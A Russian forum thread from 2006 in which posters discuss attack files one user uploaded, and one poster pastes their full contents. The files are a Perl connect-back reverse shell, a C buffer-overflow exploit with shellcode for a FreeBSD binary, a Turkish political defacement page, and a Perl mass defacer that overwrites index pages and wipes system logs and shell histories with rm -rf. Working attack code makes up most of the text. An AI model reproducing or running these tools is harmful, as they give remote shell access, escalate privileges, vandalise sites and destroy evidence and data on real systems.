|
|
|
| Ваши комментарии к этим файлам. | |
|
|
|
|
 1.3 Кб |
|
|
для: 123php
(16.08.2006 в 14:58)
| | 2 | |
|
|
|
|
|
|
|
для: 123php
(16.08.2006 в 14:58)
| | Дурак что ли?
Предупреждать надо... | |
|
|
|
|
|
|
|
для: Axxil
(16.08.2006 в 15:00)
| | все профильтровано). | |
|
|
|
|
|
|
|
для: 123php
(16.08.2006 в 15:01)
| | 1 файл. Backdoor.Perl.Small.e
Что ещё интересно? | |
|
|
|
|
|
|
|
для: Axxil
(16.08.2006 в 15:03)
| | Это куски, без главного файла они ничто. Извиняюсь за такой выклад и за отсутствие предупреждения. | |
|
|
|
|
|
|
|
для: Axxil
(16.08.2006 в 15:03)
| | все, ты теперь с нами))))
Подпись: Вамп. | |
|
|
|
|
 13 Кб |
|
|
для: 123php
(16.08.2006 в 14:58)
| | 3 | |
|
|
|
|
|
|
|
для: 123php
(16.08.2006 в 14:58)
| | 4 | |
|
|
|
|
|
|
|
для: 123php
(16.08.2006 в 14:58)
| | 5 | |
|
|
|
|
|
|
|
для: 123php
(16.08.2006 в 15:01)
| | Полседний скрипт исполняеться на форуме! | |
|
|
|
|
|
|
|
для: @ndry
(16.08.2006 в 15:11)
| | это первый:
#!/usr/bin/perl
use IO::Socket;
#IRAN HACKERS SABOTAGE Connect Back Shell
#code by:LorD
#We Are :LorD-C0d3r-NT
#Email:LorD@ihsteam.com
#
#lord@SlackwareLinux:/home/programing$ perl dc.pl
#--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--
#
#Usage: dc.pl [Host] [Port]
#
#Ex: dc.pl 127.0.0.1 2121
#lord@SlackwareLinux:/home/programing$ perl dc.pl 127.0.0.1 2121
#--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--
#
#[*] Resolving HostName
#[*] Connecting... 127.0.0.1
#[*] Spawning Shell
#[*] Connected to remote host
#bash-2.05b# nc -vv -l -p 2121
#listening on [any] 2121 ...
#connect to [127.0.0.1] from localhost [127.0.0.1] 32769
#--== ConnectBack Backdoor vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--
#
#--==Systeminfo==--
#Linux SlackwareLinux 2.6.7 #1 SMP Thu Dec 23 00:05:39 IRT 2004 i686 unknown unknown GNU/Linux
#
#--==Userinfo==--
#uid=1001(lord) gid=100(users) groups=100(users)
#
#--==Directory==--
#/root
#
#--==Shell==--
#
$system = '/bin/sh';
$ARGC=@ARGV;
print "--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==-- \n\n";
if ($ARGC!=2) {
print "Usage: $0 [Host] [Port] \n\n";
die "Ex: $0 127.0.0.1 2121 \n";
}
use Socket;
use FileHandle;
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n";
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n";
print "[*] Resolving HostName\n";
print "[*] Connecting... $ARGV[0] \n";
print "[*] Spawning Shell \n";
print "[*] Connected to remote host \n";
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
print "--== ConnectBack Backdoor vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==-- \n\n";
system("unset HISTFILE; unset SAVEHIST ;echo --==Systeminfo==-- ; uname -a;echo;
echo --==Userinfo==-- ; id;echo;echo --==Directory==-- ; pwd;echo; echo --==Shell==-- ");
system($system);
#EOF
|
Это второй:
#include <stdio.h>
#include <stdlib.h>
#define PROG "/usr/local/bin/elvrec"
#define VULN 608
#define BSIZE 1024
#define NOP 0x90
#define ESP 0xbfbff92c // FreeBSD 4.2
#define OFFSET 0
#define EATME 1 // byte alignment
char shellcode[]=
"\xeb\x37\x5e\x31\xc0\x88\x46\xfa\x89\x46\xf5\x89\x36\x89\x76"
"\x04\x89\x76\x08\x83\x06\x10\x83\x46\x04\x18\x83\x46\x08\x1b"
"\x89\x46\x0c\x88\x46\x17\x88\x46\x1a\x88\x46\x1d\x50\x56\xff"
"\x36\xb0\x3b\x50\x90\x9a\x01\x01\x01\x01\x07\x07\xe8\xc4\xff"
"\xff\xff\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02"
"\x02\x02\x02/bin/sh.-c.sh";
int main(int argc, char *argv[]) {
char buffer[BSIZE];
long address=ESP;
int i, offset, align;
if(argc > 1) { offset = atoi(argv[1]); align = atoi(argv[2]); }
else { offset = OFFSET; align = EATME; }
address += offset;
fprintf(stderr, "\n* using ret %#x -> align %d -> offset %d\n\n", address, align, offset);
for(i=align; i<VULN; i+=4){ *(long *)&buffer[i] = address; }
for(i=VULN; i<(BSIZE - strlen(shellcode) - 100); i++){ buffer[i] = NOP; }
memcpy(buffer+i, shellcode, strlen(shellcode));
buffer[BSIZE] = '\0';
if(execlp(PROG, "elvrec", buffer, 0)) {
fprintf(stderr, "Unable to execute %s\n\n", PROG);
exit(1);
}
}
|
Это третий:
<html>
<head>
<title>Ertuрrul</title>
<META http-equiv=content-type content="text/html; charset=windows-1254">
<META http-equiv=content-language content=TR>
<STYLE type=text/css>.FormSec {
BORDER-TOP-WIDTH: 2px; FONT-WEIGHT: bold; BORDER-LEFT-WIDTH: 1px; FONT-SIZE: 20px; FONT-FAMILY: Arial, Helvetica, sans-serif
}
</STYLE>
<STYLE type=text/css>.text {
FONT-SIZE: 11px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif
}
.mesaj {
FONT-SIZE: 13px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif
}
.smltext {
FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif
}
.bold {
FONT-WEIGHT: bold; FONT-SIZE: 11px; COLOR: #000000; FONT-FAMILY: Tahoma,Arial,Verdana
}
.heading {
FONT-SIZE: 18px; COLOR: #000000; FONT-FAMILY: Arial, Helvetica, sans-serif
}
.lgText {
FONT-WEIGHT: bold; FONT-SIZE: 15px; COLOR: #000000; FONT-FAMILY: Arial, Helvetica, sans-serif
}
.tHeading {
BORDER-RIGHT: #5176b5 1px solid; FONT-WEIGHT: bold; FONT-SIZE: 11px; BORDER-LEFT: #5176b5 1px solid; COLOR: #283342; BORDER-BOTTOM: #5176b5 1px solid; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; HEIGHT: 29px
}
.tiHeading {
BORDER-RIGHT: #c2cde0 1px solid; FONT-WEIGHT: bold; FONT-SIZE: 11px; BORDER-LEFT: #c2cde0 1px solid; COLOR: black; BORDER-BOTTOM: #5176b5 1px solid; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; HEIGHT: 26px; titles: 13px
}
A {
FONT-SIZE: 12px; COLOR: #0000cc; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif
}
A:hover {
FONT-SIZE: 12px; COLOR: #0000cc; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif
}
A:visited {
FONT-SIZE: 12px; COLOR: #0000cc; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif
}
A:hover {
FONT-SIZE: 12px; COLOR: #ff0000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif
}
A.smltext {
FONT-SIZE: 12px; COLOR: #0000cc; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif
}
A.smltext:hover {
FONT-SIZE: 12px; COLOR: #0000cc; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif
}
A.smltext:visited {
FONT-SIZE: 12px; COLOR: #0000cc; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif
}
A.smltext:hover {
FONT-SIZE: 12px; COLOR: #ff0000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif
}
A.title {
FONT-SIZE: 13px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif
}
A.title:visited {
FONT-SIZE: 13px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif
}
A.title:hover {
FONT-SIZE: 13px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif
}
</STYLE>
<META content="Ertuрrul" name=deScription>
<META
content="hacked ertuрrul "
name=keywords>
<META content=GENERAL name=RATING>
<META content="security hack hacking" name=ABSTRACT>
<META content=All name=ROBOTS>
<META content="Index, Follow" name=googlebot>
<META content="Index, Follow" name=robots>
<META content=global name=distribution>
<STYLE>A {
TEXT-DECORATION: none
}
A:hover {
TEXT-DECORATION: underline
}
BODY {
FONT-SIZE: 11px; FONT-FAMILY: verdana,arial,sans-serif
}
P {
FONT-SIZE: 11px; FONT-FAMILY: verdana,arial,sans-serif
}
DIV {
FONT-SIZE: 11px; FONT-FAMILY: verdana,arial,sans-serif
}
SPAN {
FONT-SIZE: 11px; FONT-FAMILY: verdana,arial,sans-serif
}
TH {
FONT-SIZE: 11px; FONT-FAMILY: verdana,arial,sans-serif
}
TD {
FONT-SIZE: 11px; FONT-FAMILY: arial,verdana,sans-serif
}
</STYLE>
<STYLE>BODY {
SCROLLBAR-ARROW-COLOR: #000099; SCROLLBAR-BASE-COLOR: #6291d1
}
</STYLE>
<META content="MSHTML 6.00.2900.2180" name=GENERATOR></HEAD>
<STYLE>A {
TEXT-DECORATION: none
}
A:hover {
TEXT-DECORATION: underline
}
BODY {
FONT-SIZE: 12px; FONT-FAMILY: verdana,arial,sans-serif
}
P {
FONT-SIZE: 12px; FONT-FAMILY: verdana,arial,sans-serif
}
DIV {
FONT-SIZE: 12px; FONT-FAMILY: verdana,arial,sans-serif
}
SPAN {
FONT-SIZE: 12px; FONT-FAMILY: verdana,arial,sans-serif
}
TH {
FONT-SIZE: 12px; FONT-FAMILY: verdana,arial,sans-serif
}
TD {
FONT-SIZE: 12px; FONT-FAMILY: verdana,arial,sans-serif
}
</STYLE>
</head>
<body>
<embed src="http://www.doqunma.com/music/1.wma" width=0 height=0>
<table width="100%" border="3" cellspacing="1" cellpadding="3" align="center" bgcolor="#f7f7f7" >
<tr>
<td colspan=2 width="50%">
<!--- KAYNAK: http://www.gezginler.net --->
<!---<body> Baюlangэcэ --->
<script type="text/javascript">
/** Memory Scroller script- © Dynamic Drive DHTML code library (www.dynamicdrive.com)**/
var memorywidth="960px" //scroller width
var memoryheight="20px" //scroller height
var memorybgcolor="#ffffb3" //scroller background
var memorypadding="2px" //padding applied to the scroller. 0 for non.
var borderCSS="border: 1px solid black;" //Border CSS, applied to scroller to give border.
var memoryspeed=2 //Scroller speed (larger is faster 1-10)
var pauseit=1 //Pause scroller onMousever (0=no. 1=yes)?
var persistlastviewedmsg=1 //should scroller's position persist after users navigate away (1=yes, 0=no)?
var persistmsgbehavior="onload" //set to "onload" or "onclick".
//Specify the scroller's content (don't delete <nobr> tag)
//Keep all content on ONE line, and backslash any single quotations (ie: that\'s great):
var memorycontent='<nobr><span style="font: bold 13px Verdana">Hacked By Ertuрrul. Tьrk Hackerlar olarak Эsrailin Filistinde uyguladэрэ zulmь protesto ediyoruz ! ! ! ! !</span></nobr>'
////NO NEED TO EDIT BELOW THIS LINE////////////
var combinedcssTable="width:"+(parseInt(memorywidth)+6)+"px;background-color:"+memorybgcolor+";padding:"+memorypadding+";"+borderCSS+";"
var combinedcss="width:"+memorywidth+";height:"+memoryheight+";"
var divonclick=(persistlastviewedmsg && persistmsgbehavior=="onclick")? 'onClick="savelastmsg()" ' : ''
memoryspeed=(document.all)? memoryspeed : Math.max(1, memoryspeed-1) //slow speed down by 1 for NS
var copyspeed=memoryspeed
var pausespeed=(pauseit==0)? copyspeed: 0
var iedom=document.all||document.getElementById
if (iedom)
document.write('<span id="temp" style="visibility:hidden;position:absolute;top:-100px;left:-10000px">'+memorycontent+'</span>')
var actualwidth=''
var memoryscroller
if (window.addEventListener)
window.addEventListener("load", populatescroller, false)
else if (window.attachEvent)
window.attachEvent("onload", populatescroller)
else if (document.all || document.getElementById)
window.onload=populatescroller
function populatescroller(){
memoryscroller=document.getElementById? document.getElementById("memoryscroller") : document.all.memoryscroller
memoryscroller.style.left=parseInt(memorywidth)+8+"px"
if (persistlastviewedmsg && get_cookie("lastscrollerpos")!="")
revivelastmsg()
memoryscroller.innerHTML=memorycontent
actualwidth=document.all? temp.offsetWidth : document.getElementById("temp").offsetWidth
lefttime=setInterval("scrollmarquee()",20)
}
function get_cookie(Name) {
var search = Name + "="
var returnvalue = ""
if (document.cookie.length > 0) {
offset = document.cookie.indexOf(search)
if (offset != -1) {
offset += search.length
end = document.cookie.indexOf(";", offset)
if (end == -1)
end = document.cookie.length;
returnvalue=unescape(document.cookie.substring(offset, end))
}
}
return returnvalue;
}
function savelastmsg(){
document.cookie="lastscrollerpos="+memoryscroller.style.left
}
function revivelastmsg(){
lastscrollerpos=parseInt(get_cookie("lastscrollerpos"))
memoryscroller.style.left=parseInt(lastscrollerpos)+"px"
}
if (persistlastviewedmsg && persistmsgbehavior=="onload")
window.onunload=savelastmsg
function scrollmarquee(){
if (parseInt(memoryscroller.style.left)>(actualwidth*(-1)+8))
memoryscroller.style.left=parseInt(memoryscroller.style.left)-copyspeed+"px"
else
memoryscroller.style.left=parseInt(memorywidth)+8+"px"
}
if (iedom){
with (document){
document.write('<table border="0" cellspacing="0" cellpadding="0" style="'+combinedcssTable+'"><td>')
write('<div style="position:relative;overflow:hidden;'+combinedcss+'" onMouseover="copyspeed=pausespeed" onMouseout="copyspeed=memoryspeed">')
write('<div id="memoryscroller" style="position:absolute;left:0px;top:0px;" '+divonclick+'></div>')
write('</div>')
document.write('</td></table>')
}
}
</script>
<!--- KAYNAK: http://www.gezginler.net --->
</td>
</tr>
<tr>
<td width="50%">
<img src="http://img223.imageshack.us/img223/3759/hekimoluyumbenoz5.jpg" width="350" height="290">
</td>
<td width="50%">
<SCRIPT LANGUAGE = "JavaScript">
function AraVob() {
}
var ScreenLine = new AraVob();
ScreenLine[1] = "Baba! Diyorlarki sen suзlusun... ";
ScreenLine[2] = "Sen suзlu deрilsin... ";
ScreenLine[3] = " ";
ScreenLine[4] = "Neden tutukladэlar seni? ";
ScreenLine[5] = "Seni benden neden esirgediler? ";
ScreenLine[6] = "Beni bir kez цpmeden";
ScreenLine[7] = "Annemin gцzyaюlarэnэ silmeden..";
ScreenLine[8] = " ";
ScreenLine[9] = "Anne! Her sabah yanaklarэnda gцzyaюэ gцrьyorum, ";
ScreenLine[10] = "Filistin her юeye layэk deрil mi?";
ScreenLine[11] = "Her gьn gьneюe sesleniyorum...";
ScreenLine[12] = " ";
ScreenLine[13] = "Anne! Babamэ bir kez daha gцrebilecek miyim?";
ScreenLine[14] = "Yoksa, Yoksa kэyamete kadar bir daha gцremeyecekmiyim? ";
ScreenLine[15] = "Yoksa, annemin gцzyaюlarэ kэyamete kadar akacak mэ? ";
ScreenLine[16] = " ";
ScreenLine[17] = "Baba, Neredesin! Neredesin!";
ScreenLine[18] = "Topraklarimiz iюgal ediliyor.";
ScreenLine[19] = "Filistinin зicekleri kopariliyor ";
ScreenLine[20] = " ";
ScreenLine[21] = "Babamэ hiз цpmedim ";
ScreenLine[22] = "Gьneю doрduрundan beri..";
ScreenLine[23] = "Bayramlar bayramэ, юenlikler юenlliрi kovalэyor..";
ScreenLine[24] = "Юehid ьstьne юehid dьюьyor.";
ScreenLine[25] = " ";
ScreenLine[26] = "Babam demir parmaklэklar arkasэnda ! ";
ScreenLine[27] = "Kцlelerin tutulduрu duvarlarэn цtesэnde... ";
ScreenLine[28] = " ";
ScreenLine[29] = "o gьn ne zaman ?";
ScreenLine[30] = "Parmaklэklarэn kэrэlacaрэ gьn ne zaman ? ";
ScreenLine[31] = " ";
ScreenLine[32] = "Her sabah зocuklarэnэ цpen babalar !";
ScreenLine[33] = "Her sabah зocuklarэnэ цpen babalar ! ";
ScreenLine[34] = " ";
ScreenLine[35] = "Зok юey mi istiyorum?";
ScreenLine[36] = "Зok юey mi istiyorum?";
ScreenLine[37] = " ";
ScreenLine[38] = "Utanэn...Utanэn....Utanэn...";
ScreenLine[39] = " ";
ScreenLine[40] = "Ve babam demir parmaklэklar arkasэnda...";
ScreenLine[41] = " ";
ScreenLine[42] = "Babamэ istiyorum...Babamэ istiyorum...Babamэ istiyorum ";
var msgNum = 1; // set to first message to display
var msgCnt = 43; // set to number of last ScreenLine to display.
var typeSpeed = 50; // the typing rate in milliseconds (higher number type more slowly)
var lineDelay = 2000 // the delay time at end of line. (unless the line is a single space)
var pagLen = 20; // number of lines per page (usually the number of rows in the TEXTAREA)
var delay = typeSpeed;
var timerPS = null;
var linPntr = 0;
var tally = 1;
var msg = "";
var outMsg = "";
var i = 0;
// set up ScreenLines for display
var typingon = true;
for (x = msgCnt; 1 <= x; x--) {
ScreenLine[x+pagLen] = ScreenLine[x] + "\r\n";
}
for (x = 1; x <= (pagLen); x++) {
ScreenLine[x] = " \r\n";
}
msgCnt += pagLen;
msg = ScreenLine[1];
// end setup
function SwitchIt() {
typingon = !typingon;
}
function DisplayScroll() {
if (msgNum < pagLen) {
delay = typeSpeed;
}
else {
delay = lineDelay;
}
ChangeMsg();
outMsg += msg;
self.document.msgform.msgarea.value = outMsg;
if (typingon == true) {
timerPS = setTimeout("DisplayMsg()",delay);
}
else {
clearTimeout(timerPS);
timerPS = setTimeout("DisplayScroll()",delay);
}
}
function DisplayMsg() {
if (msg.length <= i) {
i = 0;
ChangeMsg();
}
outMsg += msg.charAt(i);
i++;
if (msg.charAt(i) != "\n" || msg == " \r\n") {
delay = typeSpeed;
}
else {
delay = lineDelay;
}
self.document.msgform.msgarea.value = outMsg;
if (typingon == false) {
timerPS = setTimeout("DisplayScroll()",delay);
}
else {
clearTimeout(timerPS);
timerPS = setTimeout("DisplayMsg()",delay);
}
}
function ChangeMsg() {
msgNum++;
if (msgCnt < msgNum) {
msgNum = 1;
}
if (pagLen <= tally) {
chgPage();
}
tally++;
msg = ScreenLine[msgNum];
}
function chgPage() {
if (msgNum < pagLen) {
linPntr = msgCnt - pagLen + msgNum + 1;
}
else {
linPntr = msgNum - (pagLen - 1);
}
outMsg = ScreenLine[linPntr];
for (p = 1; p < (pagLen - 1); p++) {
linPntr++;
if (msgCnt < linPntr) {
linPntr = 1;
}
outMsg += ScreenLine[linPntr];
}
}
function quitDisplay() {
self.document.msgform.msgarea.value = "Type a Page for yourself today!";
}
setTimeout("DisplayMsg()",1000);
</SCRIPT>
<FORM NAME = "msgform" ACTION = " ">
<TEXTAREA NAME = "msgarea" style=".formf2 {background:#FFFFFF;font-family:MS Sans serif,Tahoma,Helvetica;width:330px;height:290px;font-size:8pt;border-style:solid;border-width:1;border-color:#006600;color:#006600;">
Ertuрrul</textarea>
</td>
</tr>
</tr>
</table>
</body>
</html>
|
Это четвертый:
#########################################################################################################
# MSRml V 0.1 #
# #
# MOROCCO.SECURITY.RULZ mass defacer and log eraser #
# #
# coded by PRI[ll #
# #
# !!!!PRIV8!!!!!PRIV8!!!!!PRIV8!!!!!P RIV8!!!! #
# #
# 05/07/2005 #
# #
# usage : perl MSRml.pl <path to index> #
# #
# example : perl MSRml.pl /tmp/index.html #
# #
# the_r00t3r@hotmail.com #
#########################################################################################################
#!/usr/bin/perl
use strict;
my $index = $ARGV[0];
if ($ARGV[0])
{
if( -e $index )
{
system "echo -e \"\033[01;34mStarted MSRml V0.1 by PRI[ll Ok !!\033[01;37m\"\n";
system "echo -e \"\\033[01;37mDefacing all homepages ...\"\n";
system "find / -name \"index*\" -exec cp $index {} \\;";
system "find / -name \"main*\" -exec cp $index {} \\;";
system "find / -name \"home*\" -exec cp $index {} \\;";
system "find / -name \"default*\" -exec cp $index {} \\;";
system "echo -e \"\\033[01;37m[+] done ! all sites in this box should be defaced !\"\n";
system "echo -e \"\\033[01;37m----------------------------------------------------------\"\n";
system "echo -e \"\\033[01;37mCleaning up logs ...\"\n";
system "echo -e \"\033[01;34m---------erasing default log files (too fast =))---------\033[01;37m\"\n";
if( -e "/var/log/lastlog" )
{
system 'rm -rf /var/log/lastlog';
system "echo -e \"\\033[01;37m [*]/var/log/lastlog -erased Ok\"\n";
}
else
{
system "echo -e \"\\033[01;31m[*]/var/log/lastlog - No such file or directory\\033[01;37m\"\n";
}
if( -e "/var/log/wtmp" )
{
system 'rm -rf /var/log/wtmp';
system "echo -e \"\\033[01;37m [*]/var/log/wtmp -erased Ok\"\n";
}
else
{
system "echo -e \"\\033[01;31m[*]/var/log/wtmp - No such file or directory\\033[01;37m\"\n";
}
if( -e "/etc/wtmp" )
{
system 'rm -rf /etc/wtmp';
system "echo -e \"\\033[01;37m [*]/etc/wtmp -erased Ok\"\n";
}
else
{
system "echo -e \"\\033[01;31m[*]/etc/wtmp - No such file or directory\\033[01;37m\"\n";
}
if( -e "/var/run/utmp" )
{
system 'rm -rf /var/run/utmp';
system "echo -e \"\\033[01;37m [*]/var/run/utmp -erased Ok\"\n";
}
else
{
system "echo -e \"\\033[01;31m[*]/var/run/utmp - No such file or directory\\033[01;37m\"\n";
}
if( -e "/etc/utmp" )
{
system 'rm -rf /etc/utmp';
system "echo -e \"\\033[01;37m [*]/etc/utmp -erased Ok\"\n";
}
else
{
system "echo -e \"\\033[01;31m[*]/etc/utmp - No such file or directory\\033[01;37m\"\n";
}
if( -e "/var/log" )
{
system 'rm -rf /var/log';
system "echo -e \"\\033[01;37m [*]/var/log -erased Ok\"\n";
}
else
{
system "echo -e \"\\033[01;31m[*]/var/log - No such file or directory\\033[01;37m\"\n";
}
if( -e "/var/logs" )
{
system 'rm -rf /var/logs';
system "echo -e \"\\033[01;37m [*]/var/logs -erased Ok\"\n";
}
else
{
system "echo -e \"\\033[01;31m[*]/var/logs - No such file or directory\\033[01;37m\"\n";
}
if( -e "/var/adm" )
{
system 'rm -rf /var/adm';
system "echo -e \"\\033[01;37m [*]/var/adm -erased Ok\"\n";
}
else
{
system "echo -e \"\\033[01;31m[*]/var/adm - No such file or directory\\033[01;37m\"\n";
}
if( -e "/var/apache/log" )
{
system 'rm -rf /var/apache/log';
system "echo -e \"\\033[01;37m [*]/var/apache/log -erased Ok\"\n";
}
else
{
system "echo -e \"\\033[01;31m[*]/var/apache/log - No such file or directory\\033[01;37m\"\n";
}
if( -e "/var/apache/logs" )
{
system 'rm -rf /var/apache/logs';
system "echo -e \"\\033[01;37m [*]/var/apache/logs -erased Ok\"\n";
}
else
{
system "echo -e \"\\033[01;31m[*]/var/apache/logs - No such file or directory\\033[01;37m\"\n";
}
if( -e "/usr/local/apache/log" )
{
system 'rm -rf /usr/local/apache/log';
system "echo -e \"\\033[01;37m [*]/usr/local/apache/log -erased Ok\"\n";
}
else
{
system "echo -e \"\\033[01;31m[*]/usr/local/apache/log - No such file or directory\\033[01;37m\"\n";
}
if( -e "/usr/local/apache/logs" )
{
system 'rm -rf /usr/local/apache/logs';
system "echo -e \"\\033[01;37m [*]/usr/local/apache/logs -erased Ok\"\n";
}
else
{
system "echo -e \"\\033[01;31m[*]/usr/local/apache/logs - No such file or directory\\033[01;37m\"\n";
}
if( -e "/root/.bash_history" )
{
system 'rm -rf /root/.bash_history';
system "echo -e \"\\033[01;37m [*]/root/.bash_history -erased Ok\"\n";
}
else
{
system "echo -e \"\\033[01;31m[*]/root/.bash_history - No such file or directory\\033[01;37m\"\n";
}
if( -e "/root/.ksh_history" )
{
system 'rm -rf /root/.ksh_history';
system "echo -e \"\\033[01;37m [*]/root/.ksh_history -erased Ok\"\n";
}
else
{
system "echo -e \"\\033[01;31m[*]/root/.ksh_history - No such file or directory\\033[01;37m\"\n";
}
system "echo -e \"\\033[01;37m[+] -----done all default log and bash_history files erased !!\"\n";
system "echo -e \"\033[01;34m---------Now Erasing the rest of the machine log files (can be long :S)---------\033[01;37m\"\n";
system 'find / -name *.bash_history -exec rm -rf {} \;';
system "echo -e \"\\033[01;37m[*] all *.bash_history files -erased Ok!\"\n";
system 'find / -name *.bash_logout -exec rm -rf {} \;';
system "echo -e \"\\033[01;37m[*] all *.bash_logout files -erased Ok!\"\n";
system 'find / -name "log*" -exec rm -rf {} \;';
system "echo -e \"\\033[01;37m[*] all log* files -erased Ok!\"\n";
system 'find / -name *.log -exec rm -rf {} \;';
system "echo -e \"\\033[01;37m[*] all *.log files -erased Ok!\"\n";
system "echo -e \"\033[01;34m-------[+] !done all log files erased![+]-------\033[01;37m\"\n";
system "echo -e \"\033[01;34m---------------------------------------------------\033[01;37m\"\n";
system "echo -e \"\033[01;34m-----------------MSRml V 0.1----------------------\033[01;37m\"\n";
}
else
{
system "echo -e \"\\033[01;31m[-] Failed ! the path to u're index could not be found !\\033[01;37m\"\n";
exit;
}
}
else
{
system "echo -e \"\\033[01;37m!!Morocco.Security.Rulz mass defacer and log eraser !!\"\n";
system "echo -e \"\\033[01;37m!!!!!!!!!!!!!!!!!!coded by PRI[ll!!!!!!!!!!!!!!!!!!!!!!!!\"\n";
system "echo -e \"\\033[01;31m!!!!!!!!PRIV8!!!!!!!!PRIV8!!!!!! !!PRIV8!!!!!!!!PRIV8!!!!!!!!\\033[01;37m\"\n";
system "echo -e \"\\033[01;37musage : perl $0 <path too u're index>\"\n";
system "echo -e \"\\033[01;37mexample : perl $0 /tmp/index.html\"\n";
exit;
}
|
| |
|
|
|
|